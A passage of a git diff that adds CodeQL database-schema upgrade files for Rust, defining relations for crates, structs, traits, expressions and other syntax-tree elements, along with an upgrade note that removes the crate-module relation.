+ int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties new file mode 100644 index 000000000000..deb8bcdb9440 --- /dev/null +++ b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties @@ -0,0 +1,4 @@ +description: Remove 'module' from Crate +compatibility: partial + +crate_modules.rel: delete diff --git a/rust/ql/lib/upgrades/58bc96172f5a76faffc04004933865aa3c3b3e62/old.dbscheme b/rust/ql/lib/upgrades/58bc96172f5a76faffc04004933865aa3c3b3e62/old.dbscheme new file mode 100644 index 000000000000..58bc96172f5a --- /dev/null +++ b/rust/ql/lib/upgrades/58bc96172f5a76faffc04004933865aa3c3b3e62/old.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, 